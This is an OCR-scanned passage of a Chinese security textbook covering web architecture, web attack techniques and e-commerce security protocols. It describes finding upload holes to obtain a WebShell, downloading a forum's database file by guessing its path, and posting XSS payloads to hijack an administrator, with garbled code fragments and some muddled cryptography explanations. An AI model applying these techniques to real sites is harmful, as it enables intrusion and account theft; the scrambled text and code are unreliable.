随 着 多 形态 攻击 的 数量 增多 ,传统 防护 手段 的 安全 效果 也 越 来 越 差 ,总 是 处 于 预防 威 
胁 一 检测 威胁 一 处 理 威胁 一 策略 执行 的 循环 之 中 。 面 对 来 势 测 测 的 新 型 Web 威胁 ,传统 的 
防护 模式 已 经 过 于 陈旧 。 面 对 目前 通过 Web 传播 的 复合 式 攻击 ,无 论 是 代码 比 对 ,行为 分 
Vr 内 容 过 滤 ,还 是 端口 封闭 、 统 计 分 析 ,都 表现 得 无 能 为 力 。 单 一 的 安全 产品 在 对 付 复 合 攻 
击 时 也 明显 地 力不从心 。 

据 Google 的 高 级 软件 工程 师 Neils Provos 所 述 ,在 过 去 的 一 年 中 Google 通过 对 互联 
网 上 几 十 亿 页 面 地 址 进行 抓 取 ,已 经 发 现 300 万 个 网 站 存在 恶意 软件 ,这 意味 着 每 打开 
1000 个 页 面 ,就 有 一 个 是 存在 恶意 软件 的 网 站 。 

这 些 攻击 类 型 即 所 谓 的 “隐蔽 强迫 下 载 "(drive-by downloads) ,安全 专家 发 现 近 些 年 这 
种 攻击 方式 已 经 变 得 比 蠕虫 病毒 或 者 其 他 病毒 更 加 普遍 。 网 络 上 的 罪犯 利用 这 种 攻击 方 
式 , 在 网 站 上 寻找 各 种 编程 漏洞 .然后 利用 漏洞 放 上 这 些 恶 意 软 件 。 在 过 去 的 一 年 中 ,有 不 
少 网 站 就 被 这 种 方式 所 攻击 ,例如 ,美国 前 副 总 统 戈 尔 的 环保 宣传 片 ( 不 可 忽视 的 真相 》 网 站 
曾经 被 黑客 放 上 恶意 程序 .MySpace 上 的 文件 漏洞 也 曾 被 黑客 利用 来 攻击 游客 。 

对 此 ,Google 在 搜索 结果 中 对 存在 恶意 软件 的 网 页 提出 警告 ,在 Google 搜索 结果 的 前 
几 页 ,有 1.3% 的 网 站 被 Google 检查 出 了 恶意 软件 。Google 的 研究 结果 显示 ,中 国 的 恶意 
站 点 占 到 了 总 数 的 67% ,而 美国 为 15% ,俄罗斯 为 4% ,马来西亚 为 2.2% ,韩国 为 2%。 根 
据 调查 结果 显示 ,恶意 站 点 有 逐步 上 升 的 势头 。 


7.1.1 Web 技术 简介 与 安全 分 析 


Web 服务 是 指 采 用 B/S 架构 (Brower/Server) ,通过 HTTP 协议 提供 服务 的 统称 ,这 
种 结构 也 称 为 Web 架构 。 


1. Web 服务 器 


服务 器 结构 中 规定 了 服务 器 的 传输 设 定 、 信 息 传输 格式 及 服务 器 本 身 的 基本 开放 结构 。 
Web 服务 器 是 驻 留 在 服务 器 上 的 软件 , 它 汇 集 了 大 量 的 信息 。Web 服务 器 的 作用 就 是 管理 
这 些 文档 , 按 用 户 的 要 求 返 回信 息 。 

UNIX/Linux 系统 中 的 Web 服务 器 多 采用 Apache 服务 器 软件 ; Window 系统 中 的 
Web 服务 器 多 采用 IIS 服务 器 软件 。 目 前 ,Apache 服务 器 软件 占据 最 大 的 市 场 份额 ,并 且 


可 以 在 多 种 环境 下 运行 ,如 UNIX, Linux, Solaris, Windows 等 。 
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2. Web 浏览 器 


Web 浏览 器 用 于 向 服务 器 发 送 资源 索取 请 求 ,并 将 接收 到 的 信息 进行 解码 和 显示 。 
Web 浏览 器 从 Web 服务 器 下 载 和 获取 文件 ,翻译 下 载 文件 中 的 HTML 代码 ,进行 格式 
化 ,根据 HTML 中 的 内 容 在 屏幕 上 显示 信息 。 如 果 文 件 中 包含 图 像 以 及 其 他 格式 的 文 
件 ( 如 声 频 、 视 频 、Flash 等 ), Web 浏览 器 会 做 相应 的 处 理 或 依据 所 支持 的 插件 进行 必要 
的 显示 。 

常见 的 Web 浏览 器 软件 有 Firefox, IE(Internet Explorer) ,Chrome 等 。 


3. 通信 协议 


通信 协议 是 指 HTTP 协议 (HyperText Transfer Protocol, 超 文本 传输 协议 ), Web 浏 
览 器 与 服务 器 之 间 遵 循 HTTP 协议 进行 通信 传输 。HTTP 是 分 布 式 的 Web 应 用 的 核心 技 
术 协 议 ,在 TCP/IP 协议 栈 中 属于 应 用 层 。 它 定义 了 Web 浏览 器 向 Web 服务 器 发 送 索取 
Web 页 面 请 求 的 格式 以 及 Web 页 面 在 Internet 上 的 传输 方式 。 一 般 情 况 下 , Web 服务 器 
在 80 端口 监听 ,等待 Web 浏览 器 的 请 求 ,Web 浏览 器 通过 3 次 握手 与 Web 服务 器 建立 起 
TCP/IP 连接 。 


4. HTML 和 JavaScript 语言 


(D HTML 

HTML( Hypertext Markup Language, 超 文本 置 标语 言 ) 是 一 种 用 来 制作 网 页 的 置 标 
语言 , 它 不 需要 编译 ,可 以 直接 由 浏览 器 执行 ,属于 浏览 器 解释 型 语言 。 

(2) JavaScript 

JavaScript 是 一 种 面向 对 象 的 描述 语言 ,可 以 用 来 开发 Internet 客户 端的 应 用 程序 。 

建立 一 个 名 为 javascript. html 的 文件 ,如 图 7-1 所 示 。 

在 IE 中 打开 javascript. html 文件 ,可 以 看 到 如 图 7-2 所 示 的 窗口 。 


P javascript.htal — 记事 本 DE - 
LED RED 格式 0) EV MHW Ẹ Hello, JavaScript! - Microsoft In... [7| 


<html> XPD SEO FEV KEW IAV WP 

<head> 

<title> EE ~ - a 搜索 
Hello, JavaScriptt Q o naa P 

</title> WED [E)r \ 初 杭 \ 实 验 代码 \javascript_htnl [M] e 

<h1> Hello, JavaScript? </h1><hr> 

</head> 


BRA Hello, JavaScript! 
<p> FENKA Javascript ir «p 


<script language-"JavaScript"» 


lcd Qocunent write "这 是 用 Js 的 对 象 生成 的 hello Vorldt"); 下 面 的 内 容 用 JavaScript 生 成 ! 
scrip 
cme 这 是 用 Js 的 对 象 生成 的 He11o，Worldl 
图 7-1 javascript. html 文件 图 7-2 在 IE 中 打开 javascript. html 文件 


从 图 7-2 H a A H, <script > M </script> Z E k H AE JavaScript 代码 。 支 持 
JavaScript 的 浏览 器 会 自动 解释 JavaScript 的 代码 。 在 标记 二 script 二 中 可 以 指定 语言 ,如 
<script language 一 "JavaScript" 盖 。 在 没有 指定 的 情况 下 ,IE 和 Firefox 默认 为 JavaScript 
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ENS 


(在 IE 中 还 可 以 用 VBScript, 必 须 指定 language=" VBScript"). javascript. html 中 使 用 了 
document 对 象 ,这 个 对 象 是 JavaScript 中 最 重要 的 对 象 之 一 。document 对 象 的 一 个 方法 
称 为 write, 是 用 于 在 浏览 器 中 输出 字符 串 的 。 整 个 JavaScript 系统 是 一 个 对 象 的 集合 ,3 
活 使 用 JavaScript 就 是 灵活 使 用 这 个 对 象 系统 。 

修改 javascript. html 的 文件 ,如 图 7-3 所 示 。 在 JavaScript 脚本 中 定义 了 一 个 函数 
testAlertO 。 在 网 页 中 有 一 个 按钮 对 象 , 当 单 击 该 按钮 时 ,执行 相应 的 JavaScript 函数 
testAlert() 。 在 IE 中 打开 javascript. html 文件 ,可 以 看 到 如 图 7-4 所 示 的 窗口 。 


J Hello, JavaScript!—function 一 


文件 中 S SEQ) 收藏 和 


O=- O- ido s 
Hello, JavaScriptt--Function BED [Er MISERE RB javascript hel M| EJ 转 到 t 
</title> 
</head> 


<body> 
<script language="JavaScript"> 
function testAlert()¢ 
var teststring-" 这 是 JS 定义 的 变量 "; 
vindov.alert(teststring); 
>》 
</script> 
<input type="button" value=" 执 行 "onClick="testAlert()"> 
</body> 
</html> 


图 7-3 修改 后 的 javascript. html 文件 图 7-4 在 正中 打开 修改 后 的 
javascript. html 文件 
5. WebShell 


WebShell 具有 可 以 管理 Web、 修 改 主页 内 容 的 权限 ,如 果 要 修改 别人 的 主页 ,一 般 都 需 
要 这 个 权限 ,上 传 漏洞 要 得 到 的 也 是 这 个 权限 。 如 果 某 个 服务 器 的 权限 设置 得 不 好 ,那么 通 
过 WebShell 可 以 得 到 该 服务 器 的 最 高 权限 。 


6. 上 传 漏洞 


在 浏览 器 地 址 栏 中 网 址 的 后 面 加 上 “/upfile. asp”( 或 与 此 含义 相近 的 名 字 ) ,如果 显示 
“上 传 格式 不 正确 ”等 类 似 的 提示 ,说 明 存 在 上 传 漏洞 .可 以 用 上 传 工具 得 到 WebShell。 


7. 暴 库 


这 个 漏洞 现在 已 经 很 少见 了 ,但 是 还 有 一 些 站 点 存在 这 个 漏洞 可 以 利用 , 暴 库 就 是 通过 
猜测 数据 库 文件 所 在 的 路 径 来 将 其 下 载 ,得 到 该 文件 后 就 可 以 破解 该 网 站 的 用 户 密码 了 。 
如 图 7-5 所 示 ,在 Firefox 浏览 器 地 址 栏 中 输入 http://localhost/bbsxp/database/ bbsxp2008. 
mdb, 可 以 将 此 网 站 的 数据 库 文 件 下 载 。 


8. Sit 


24 A t A 网 站 时 发 现 这 个 网 站 无 懈 可 击 ,此 时 可 从 与 A 网 站 在 同一 服务 器 的 B 网 站 入 
手 , 入 侵 B 网 站 后 ,利用 B 网 站 得 到 服务 器 的 管理 员 权 限 , 从 而 获得 了 对 A 网 站 的 控制 权 。 
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)Problea loading page — Wozilla Firefox 
File Edit View History Bookmarks Tools Help 


http://localhost/bbsxp/database/bbsxp2008. mdb 


You have chosen to open 


bbszp2008. adb 
which is ai Microsoft Office Access 应 用 程序 
from: http://localhost 


Å Foul you like to save this file? 


9. CGI 


CGI(Common Gateway Interface, 公 共 网 关 接 口 ) 是 运行 在 服务 器 上 的 一 段 程序 。 绝 
大 多 数 CGI 程序 被 用 来 解释 处 理 来 自 浏览 器 表单 的 输入 信息 ,并 在 服务 器 产生 相应 的 处 
理 , 或 将 相应 的 信息 反馈 给 浏览 器 。CGI 程序 使 网 页 具有 交互 功能 。CGI 可 以 用 任何 一 种 
语言 编写 ,只 要 这 种 语言 具有 标准 输入 、 输 出 和 环境 变量 。UNIX/Linux 环境 中 有 Perl 
(Practical Extraction and Report Language) , Bourne Shell, TCL(CTool. Command Language) C W 
HH. Windows 环境 中 有 C/C++ „Perl 等 语言 。 


10. Web 系统 架构 
Web 系统 的 一 般 架 构 如 图 7-6 所 示 。 


~~- Web 服务 器 a MPR ______ 
T elu 


Henr =m 


http 应 答 (网 页 文件 ) 


h 间 件 服务 器 
图 7-6 Web 系统 的 一 般 架 构 


用 户 使 用 Web 浏览 器 ,通过 网 络 连接 到 Web 服务 器 。 用 户 发 出 请 求 ,服务 器 根据 请 求 
的 URL, 找 到 对 应 的 网 页 文件 ,发 送 给 用 户 。 网 页 文件 是 HTML/XML 格式 的 文本 文件 ， 
Web 浏览 器 有 一 个 解释 器 ,将 网 页 文本 转换 成 Web 浏览 器 中 看 到 的 网 页 。 

用 户 访 问 的 页 面 网 页 文件 一 般 存放 在 Web 服务 器 的 某 个 目录 下 ,通过 网 页 上 的 超 链接 
可 以 获得 网 站 上 的 其 他 网 页 ,这 是 静态 网 页 。 这 种 方式 只 能 单 向 地 给 用 户 展示 信息 ,但 让 用 
户 做 一 些 如 身份 认证 ,投票 之 类 的 事情 就 比较 麻烦 ,由 此 产生 了 动态 网 页 的 概念 ,动态 是 指 
利用 Flash, JavaScript, VBScript 等 技术 ,在 网 页 中 嵌入 一 些 可 运行 的 小 程序 , Web 浏览 器 
在 解释 页 面 时 ,看 到 这 些小 程序 就 运行 它们 。 小 程序 的 使 用 让 Web 服务 模式 有 了 双向 交流 
的 能 力 , Web 服务 模式 也 可 以 像 传统 软件 一 样 进行 各 种 事务 处 理 , 如 编辑 文件 ,提交 表单 
等 。 小 程序 也 可 以 是 嵌入 网 页 文件 中 的 php、jsp、asp 代码 ,或 者 以 文件 的 形式 单独 存放 在 


(m 


(9. 
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Web 服务 器 的 目录 里 的 . php... jsp.. asp 文件 等 ,用 户 看 不 到 这 些 代码 ,因此 服务 的 安全 性 
大 大 提高 。 这 样 功 能 的 小 程序 越 来 越 多 ,形成 了 常用 的 工具 包 单独 管理 ,开发 Web 程序 时 ， 
直接 拿 来 使 用 即 可 ,这 就 是 中 间 件 服务 器 , 它 实 际 上 是 Web 服务 器 处 理 能 力 的 扩展 。 

静态 网 页 与 小 程序 是 事前 设计 好 的 ,一般 不 经 常 改动 ,但 网 站 上 有 很 多 内 容 需 要 经 常 更 
新 ,如 新 闻 、 博 客 、 邮 箱 等 ,这 些 变动 的 数据 放 在 数据 库 里 ,可 以 随时 更 新 。 当 用 户 请 求 页 面 
时 ,如 果 涉 及 数据 库 里 的 数据 ,小 程序 利用 SQL 从 数据 库 中 读 取 数 据 , 生 成 完整 网 页 文件 送 
给 用 户 。 例 如 ,股市 行情 曲线 是 由 一 个 小 程序 控制 ,不 断 用 新 数据 刷新 页 面 。 

用 户 的 一 些 状态 信息 、 属 性 信息 也 需要 临时 记录 ,每 个 用 户 的 这 些 信息 并 不 相同 ,Web 
技术 为 了 记 住 用 户 的 访问 信息 ,采用 了 如 下 方法 。 

(1) Cookie 

把 用 户 的 参数 信息 (账户 名 口令 等 ) 存 放 在 客户 端的 临时 文件 中 ,用 户 再 次 访问 该 网 站 
时 ,这 些 信息 一 同 送 给 服务 器 。 

(2) Session 


把 用 户 的 参数 信息 存在 服务 器 的 内 存 中 或 写 在 服务 器 的 硬盘 文件 中 。 
11. Web 系统 架构 安全 分 析 


浏览 器 可 能 给 用 户 计算 机 带 来 安全 问题 ,因为 Web 技术 可 以 对 本 地 硬盘 进行 操作 ,可 
以 把 木马 ,病毒 放 到 客户 端 计 算 机 上 。 另 外 ,针对 Web 服务 器 的 威胁 更 多 。 入 侵 者 可 以 采 
取 如 下 方式 人 侵 Web 服务 器 。 

(1) 服务 器 系统 漏洞 

Web 服务 器 毕竟 是 一 个 通用 的 服务 器 ,无 论 是 Windows 还 是 Linux/UNIX, 都 不 可 少 
地 带 有 系统 自身 的 漏洞 ,通过 这 些 漏洞 入 侵 , 可 以 获得 服务 器 的 高 级 权限 ,当然 对 服务 器 上 
运行 的 Web 服务 就 可 以 随意 控制 了 。 

(2) Web 服务 应 用 漏洞 

如 果 说 系统 级 的 软件 漏洞 被 关注 得 太 多 了 ,那么 Web 应 用 软件 的 漏洞 在 数量 上 被 关注 
得 就 更 多 了 ,因为 Web 服务 开发 简单 ,开发 的 团队 参差 不 齐 ,编程 不 规范 .安全 意识 不 强 , 有 
时 因 开 发 时 间 紧 张 而 简化 测试 。 最 为 常见 的 SQL 注入 ,就 是 因为 大 多 应 用 编程 过 程 中 产生 
的 漏洞 。 

(3) 密码 暴力 破解 

RHA Web 系统 后 ,入 侵 者 可 以 算 改 网 页 , 算 改 数据 、 挂 木马 等 。 


7.1.2 应 用 安全 基础 


1. 网 页 防 篡改 系统 


网 页 防 自 改 系统 实时 监控 Web 站 点 , 当 Web 站 点 上 的 文件 受到 破坏 时 ,能 迅速 恢复 被 
破坏 的 文件 ,并 及 时 将 报告 提交 给 系统 管理 员 , 从 而 保护 Web 站 点 的 数据 安全 。 


2. 网 页 内 容 过 滤 技 术 
Web 页 面 内 容 过 滤 系 统 通过 对 网 络 信息 流 中 的 内 容 进行 过 滤 和 分 析 , 实 现 对 网 络 用 户 


ev 
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浏览 或 传送 非法 黄色、 反动 等 敏感 信息 时 进行 监控 和 封杀 。 同 时 通过 强大 的 用 户 管理 功 
能 ,实现 对 用 户 的 分 组 管理 ,分 时 管理 和 分 内 容 管理 。 


3. 实时 信息 过 滤 


实时 信息 过 滤 系统 就 是 通过 对 企业 内 部 网 络 状 况 的 监控 ,对 企业 内 部 的 即时 短 消 息 (如 
MSN .ICQ ,雅虎 通 等 ) 的 通信 和 点 对 点 的 软件 通信 进行 多 方式 的 管理 。 


4. 广告 软件 Adware 


广告 软件 (Adware) 是 指 未 经 用 户 允 许 下 载 并 安装 的 ,或 与 其 他 软件 捆绑 通过 弹出 式 广 
告 或 以 其 他 形式 进行 商业 广告 宣传 的 程序 。 安 装 广告 软件 之 后 ,往往 造成 系统 运行 缓慢 或 
系统 异常 。 


5. 间谍 软件 (Spyware) 


间谍 软件 (Spyware) 是 能 够 在 使 用 者 不 知情 的 情况 下 ,在 用 户 计算 机 上 安装 后 门 程序 
的 软件 。 用 户 的 隐私 数据 和 重要 信息 会 被 那些 后 门 程序 捕获 ,甚至 这 些 “ 后 门 程序 ”还 能 使 
黑客 远程 操纵 用 户 的 计算 机 。 

为 了 防止 广告 软件 和 间谍 软件 ,应 采用 安全 性 比较 好 的 网 络 浏览 器 ,并 注意 弥补 系统 漏 
洞 ,不 要 轻易 安装 共享 软件 或 “免费 软件 ”, 这 些 软 件 往往 含有 广告 程序 间谍 软件 等 不 良 软 
件 ,可 能 带 来 安全 风险 ,同时 也 不 要 浏览 不 良 网 站 。 


6. 浏览 器 动 持 


浏览 器 劫持 是 一 种 恶意 程序 ,通过 DLL ffi fF; BHO, Winsock LSP 等 形式 对 用 户 的 浏 
览 器 进行 算 改 ,使 用 户 浏览 器 出 现 访 问 正常 网 站 时 被 转向 到 恶意 网 页 IE 浏览 器 主页 /搜索 
页 等 被 修改 为 动 持 软件 指定 的 网 站 地 址 等 异常 。 浏 览 器 动 持 分 为 多 种 不 同 的 方式 ,从 最 简 
单 的 修改 IE 默认 搜索 页 到 最 复杂 的 通过 病毒 修改 系统 设置 并 设置 病毒 守护 进程 ,从 而 支持 
浏览 器 。 为 了 防止 浏览 器 被 动 持 , 建 议 使 用 安全 性 能 比较 高 的 浏览 器 ,并 可 以 针对 自己 的 需 
要 对 浏览 器 的 安全 设置 进行 相应 调整 。 如 果 给 浏览 器 安装 插件 ,尽量 从 浏览 器 提供 商 的 官 
方 网 站 下 载 。 另 外 ,不 要 轻易 浏览 不 良 网 站 ,不 要 轻易 安装 共享 软件 、 盗 版 软件 。 


7. 恶意 共享 软件 


恶意 共享 软件 (Malicious Shareware) 是 指 采用 不 正当 的 捆绑 或 不 透明 的 方式 强制 安装 
在 用 户 的 计算 机 上 ,并 且 利 用 一 些 病 毒 常 用 的 技术 手段 造成 软件 很 难 被 卸载 ,或 采用 一 些 非 
法 手段 强制 用 户 购买 的 免费 共享 软件 。 


7.1.3 实例: XSS 跨 站 攻击 技术 


1. XSS 攻击 简介 


XSS 又 称 为 CSS(Cross Site Script) , 即 跨 站 脚本 攻击 , 它 指 的 是 恶意 攻击 者 向 Web 页 
面 里 插入 恶意 代码 , 当 用 户 浏览 该 页 时 ,嵌入 Web 里 面 的 恶意 代码 会 被 执行 ,从 而 达到 攻击 
者 的 特殊 目的 ,XSS 属于 被 动 式 的 攻击 。 
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2. XSS 跨 站 脚本 攻击 原理 


建立 一 个 名 为 xss_test. html 的 文件 ,如 图 7-7 所 示 。 在 下 中 打开 xss_test. html X 
件 ,可 以 看 到 如 图 7-8 所 示 的 窗口 。 


到 zss test - 
文件 中 


Nicrosoft Internet E... 


S50 SEV KEW IRV 


Q ©- 928 s 


地 址 0) E) z- REED xss, test. han M 


ody» 
«a hrer-"TTXTEVZLTTTERETITIBGITZ > 按 狐 新 闻 主 页 </a> 
</body> 


</html> 


图 7-7 xss_test. html 文件 图 7-8 在 正中 打开 xss_test html 文件 


修改 xss test. html 的 文件 ,如 图 7-9 所 示 。 在 IE 中 打开 xss_test. html 文件 ,可 以 看 
到 如 图 7-10 所 示 的 窗口 。 


Dxss test - Microsoft Internet Exp... 
ss test.htal — 记事 本 


文件 到) MED ELO FEV HHW 


Or- 日- 国 国 的 | Pa 


地 址 0) E)E VNR Dss testata M 园 # 到 M 


Microsoft Internet Explorer (X) 


D» 


图 7-9 修改 后 的 xss test. html 文件 


图 7-10 在 正中 打开 xss_test html 文件 


3. XSS 跨 站 脚本 的 触发 条 件 
(1) 完整 的 脚本 标记 


在 某 个 表单 提交 内 容 时 ,可 以 构造 特殊 的 值 闭 合 标记 来 构造 完整 无 错 的 脚本 标记 ,如 
图 7-8 所 示 ,提交 的 内 容 是 : "L9 — script-^alert( xss) : </script> <", 
(2) 触发 事件 

触发 事件 是 指 只 有 达到 某 个 条 件 才 会 引发 的 事件 。img 标记 有 一 个 可 以 利用 的 


onerror() 事 件 , 当 img 标记 含有 onerror() 事 件 并 且 图 片 没 有 正常 输出 时 便 会 触发 该 事件 ， 
该 事件 中 可 以 加 入 任意 的 脚本 代码 ,如 图 7-11 所 示 ,执行 后 的 结果 如 图 7-12 Bron o 


4. XSS EIE A Rip RE 


CD 在 某 个 论坛 注册 一 个 普通 用 户 。 
(2) 寻找 XSS 漏洞 。 


en 
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xss test — Firefox XNTRK 


gs LI ETT mea 
- GE cecx a 
xss test.htal — 记事 本 Dø 


<ing src-"http://urong web address" [IITEETITT 
</body> 
</html> 


图 7-11 构造 脚本 标记 图 7-12 在 Firefox 中 打开 xss test. html 文件 


(3) 发 帖子 ,等 待 管理 员 浏览 该 帖子 。 如 果 管 理 员 浏览 了 该 帖子 ,那么 就 实现 了 XSS 
跨 站 入 侵 。 


7.2 电子 商务 安全 


随 着 互联 网 的 不 断 发 展 ,在 世界 范围 内 掀起 了 一 股 电子 商务 热潮 。 许 多 国家 政府 部 门 
对 电子 商务 的 发 展 十 分 重视 ,并 纷纷 出 台 了 有 关 政 策 和 举措 。 实 现 电子 商务 的 关键 是 要 保 
证 商务 活动 过 程 中 系统 的 安全 性 , 即 保证 基于 互联 网 的 电子 交易 过 程 与 传统 交易 的 方式 一 
样 安全 可 靠 。 电 子 商务 的 安全 主要 采用 数据 加 密 和 身份 认证 技术 。 

电子 商务 实施 的 关键 是 要 保证 整个 商务 过 程 中 系统 的 安全 性 。 而 系统 的 安全 性 关键 在 
于 CA 的 设计 与 规划 。 关 于 CA 的 相关 概念 详 见 3.6 节 。 


1. 电子 商务 的 安全 控制 要 求 概述 


(1) 信息 保密 性 

交易 中 的 商务 信息 有 保密 的 要 求 。 如 信用 卡 的 账号 和 用 户 名 被 人 知悉 ,就 可 能 被 盗用 ， 
订货 和 付款 的 信息 被 竞争 对 手 获悉 ,就 可 能 丧失 商机 。 因 此 ,在 电子 商务 的 信息 传播 中 一 般 
均 有 加 密 的 要 求 。 

(2) 交易 者 身份 的 确定 性 

网 上 交易 的 双方 很 可 能 素 昧 平生 ,相隔 千里 。 要 使 交易 成 功 ,首先 要 能 确认 对 方 的 身 
份 , 对 商家 而 言 要 考虑 客户 端 不 能 是 骗子 ,而 客户 也 会 担心 网 上 的 商店 是 一 个 弄虚作假 的 黑 
店 。 因 此 ,能 方便 而 可 靠 地 确认 对 方 身份 是 交易 的 前 提 。 

(3) 不 可 否认 性 

由 于 商情 的 千变万化 ,交易 一 旦 达成 是 不 能 被 否认 的 。 否 则 必然 会 损害 一 方 的 利益 。 

(4) 不 可 修改 性 

交易 的 文件 是 不 可 被 修改 的 ,如 其 能 改动 文件 内 容 , 那 么 交易 本 身 便 是 不 可 靠 的 ,客户 
或 商家 可 能 会 因此 而 蒙受 损失 。 因 此 ,电子 交易 文件 也 要 能 做 到 不 可 修改 性 ,以 保障 交易 的 
严肃 和 公正 。 
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2. 安全 交易 标准 


安全 交易 标准 主要 有 以 下 几 个 。 

CD. 安全 超 文本 传输 (Secure HTTP,S-HTTP) 协 议 

依靠 密 钥 对 的 加 密 ,保障 Web 站 点 间 的 交易 信息 传输 的 安全 性 。 

(2) 安全 套 接 层 (Secure Socket Layer ,SSL) 协 议 

由 网 景 (Netscape) 公 司 推出 的 一 种 安全 通信 协议 ,是 对 计算 机 之 间 整 个 会 话 进行 加 密 
的 协议 ,提供 了 加 密 、 认 证 服务 和 报 文 完整 性 。 它 能 够 对 信用 卡 和 个 人 信息 提供 较 强 的 保 
护 。SSL 被 用 于 Netscape Communicator 和 Microsoft IE 浏览 器 ,用 于 完成 需要 的 安全 交 
DRE. E SSL 中 采用 了 公开 密 钥 和 私有 和 密 钥 两 种 加 密 方法 。 

(3) 安全 交易 技术 (Secure Transaction Technology ,STT) 协 议 

由 Microsoft 公司 提出 ,STT 将 认证 和 解密 在 浏览 器 中 分 离开 ,用 于 提高 安全 控制 能 
JI, Microsoft 将 在 Internet Explorer 中 采用 这 一 技术 。 

(4) 安全 电子 交易 (Secure Electronic Transaction,SET) 协 议 

SET 是 一 种 基于 消息 流 的 协议 , 它 主要 由 MasterCard 和 Visa 两 大 信用 卡 公司 以 及 其 
他 一 些 业 界 主流 厂商 设计 ,于 1997 年 5 月 联合 推出 的 规范 。SET 主要 是 为 了 解决 用 户 、 商 
家 和 银行 之 间 通 过 信用 卡 支付 的 交易 而 设计 的 ,以 保证 支付 信息 的 机 密 、 支 付 过 程 的 完整 、 
商户 及 持 卡 人 的 合法 身份 以 及 可 操作 性 。SET 中 的 核心 技术 主要 有 公开 密 匙 加 密 、 电 子 数 
字 签 名 .电子 信封 .电子 安全 证 书 等 。 


3. 目前 安全 电子 交易 的 手段 


在 近年 来 发 表 的 多 个 安全 电子 交易 协议 或 标准 中 , 均 采纳 了 一 些 常用 的 安全 电子 交易 
的 方法 和 手段 。 典 型 的 方法 和 手段 有 以 下 几 种 。 

(1) 密码 技术 

采用 密码 技术 对 信息 加 密 是 最 常用 的 安全 交易 手段 。 在 电子 商务 中 获得 广泛 应 用 的 加 
密 技 术 有 以 下 两 种 。 

公共 密 钥 和 私 用 密 钥 : 这 一 加 密 方 法 亦 称 为 RSA 编码 法 ,是 由 Rivest, Shamir 和 
Adlernan 三 人 所 研究 发 明 的 。 它 利用 两 个 很 大 的 质数 相 乘 所 产生 的 乘积 来 加 密 。 这 两 个 
质数 无 论 哪 一 个 先 与 原文 件 编码 相 乘 ,对 文件 加 密 , 均 可 由 另 一 个 质数 再 相 乘 来 解密 。 但 要 
用 一 个 质数 来 求 出 另 一 个 质数 , 则 是 十 分 困难 的 。 因 此 将 这 一 对 质数 称 为 密 钥 对 
(KeyPair)。 在 加 密 应 用 时 , 某 个 用 户 总 是 将 一 个 密 钥 公开 .让 需 发 信 的 人 员 将 信息 用 其 公 
共 密 钥 加 密 后 发 给 该 用 户 ,而 一 旦 信息 加 密 后 ,只 有 用 该 用 户 一 个 人 知道 的 私 用 密 钥 才能 解 
密 。 具 有 数字 凭证 身份 的 人 员 的 公共 密 钥 可 在 网 上 查 到 , 亦 可 在 请 对 方 发 信息 时 主动 将 公 
共 密 钥 传 给 对 方 , 这 样 保证 在 Internet. 上 传输 信息 的 保密 和 安全 。 

数字 摘要 (Digital Digest): 这 一 加 密 方 法 亦 称 为 安全 Hash 编码 法 (Secure Hash 
Algorithm,SHA) 或 MD5(MD Standards for Message Digest) ,由 RonRivest 设计 。 该 编码 
法 采用 单 向 Hash. 函数 将 需 加 密 的 明文 “摘要 ”成 一 串 128bit 的 密 文 ,这 一 串 密 文 亦 称 为 数 
字 指 纹 (Finger Print) , 它 有 固定 的 长 度 , 且 不 同 的 明文 摘要 成 密 文 ,其 结果 总 是 不 同 的 ,而 
同样 的 明文 其 摘要 必定 一 致 。 这 样 ,此 摘要 便 可 成 为 验证 明文 是 否 是 “ 真 身 ” 的 “指纹 ”了 。 
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上 述 两 种 方法 可 结合 起 来 使 用 ,数字 签名 就 是 上 述 两 法 结合 使 用 的 实例 。 

(2) 数字 签名 (Digital Signature) 

在 书面 文件 上 签名 是 确认 文件 的 一 种 手段 ,签名 的 作用 有 两 点 : 一 是 因为 自己 的 签名 
难以 否认 ,从 而 确认 了 文件 已 签署 这 一 事实 ;二 是 因为 签名 不 易 仿 冒 , 从 而 确定 了 文件 是 真 
的 这 一 事实 。 数 字 签 名 与 书面 文件 签名 有 相同 之 处 ,采用 数字 签名 ,也 能 确认 以 下 两 点 。 

(D 信息 是 由 签名 者 发 送 的 。 

@ 信息 在 传输 过 程 中 未 曾 做 过 任何 修改 。 

这 样 数字 签名 就 可 用 来 防止 电子 信息 因 易 被 修改 而 有 人 作伪 ; 骨 用 别人 名 义 发 送信 息 ; 
发 出 ( 收 到 ) 信 件 后 又 加 以 否认 等 情况 发 生 。 

数字 签名 采用 了 双重 加 密 的 方法 来 实现 防伪 、 防 赖 ,其 原理 见 3.5 节 。 

G) 数字 时 间 蕉 (Digital Time Stamp) 

在 交易 文件 中 ,时 间 是 十 分 重要 的 信息 。 在 书面 合同 中 ,文件 签署 的 日 期 和 签名 一 样 均 
是 十 分 重要 的 防止 文件 被 伪造 和 算 改 的 关键 性 内 容 。 

在 电子 交易 中 ,同样 需 对 交易 文件 的 日 期 和 时 间 信 息 采取 安全 措施 ,而 数字 时 间 稚 服务 
(Digital Time Stamp Service,DTS) 就 能 提供 电子 文件 发 表 时 间 的 安全 保护 。 

DTS 是 网 上 安全 服务 项 目 , 由 专门 的 机 构 提 供 。 时 间 蕉 是 一 个 经 加 密 后 形成 的 凭证 文 
档 , 它 包括 3 个 部 分 : 需 加 时 间 截 的 文件 摘要 ; @DTS 收 到 文件 的 日 期 和 时 间 ; GDTS 
的 数字 签名 。 

时 间 戳 产生 的 过 程 : 用 户 首 先 将 需要 加 时 间 戳 的 文件 用 Hash 编码 加 密 形 成 摘要 ;其 
次 将 该 摘要 发 送 到 DTS,DTS 在 加 入 了 收 到 文件 摘要 的 日 期 和 时 间 信 息 后 再 对 该 文件 加 密 
(数字 签名 ) ,然后 送 回 有 用户。 由 Bellcore 创造 的 DTS 采用 如 下 的 过 程 : 加 密 时 将 摘要 信息 
归并 到 二 叉 树 的 数据 结构 ;再 将 二 叉 树 的 根 值 发 表 在 报纸 上 ,这 样 更 有 效 地 为 文件 发 表 时 间 
提供 了 佐证 。 注 意 ,书面 签署 文件 的 时 间 是 由 签署 人 自己 写 上 的 ,而 数字 时 间 蕉 则 不 然 , 它 
是 由 认证 单位 DTS 来 加 的 ,以 DTS 收 到 文件 的 时 间 为 依据 。 因 此 ,时间 戳 也 可 作为 科学 家 
的 科学 发 明文 献 的 时 间 认 证 。 

(4) 数字 凭证 (Digital Certificate. Digital ID) 

数字 凭证 又 称 为 数字 证 书 , 是 用 电子 手段 来 证 实 一 个 用 户 的 身份 和 对 网 络 资源 的 访问 
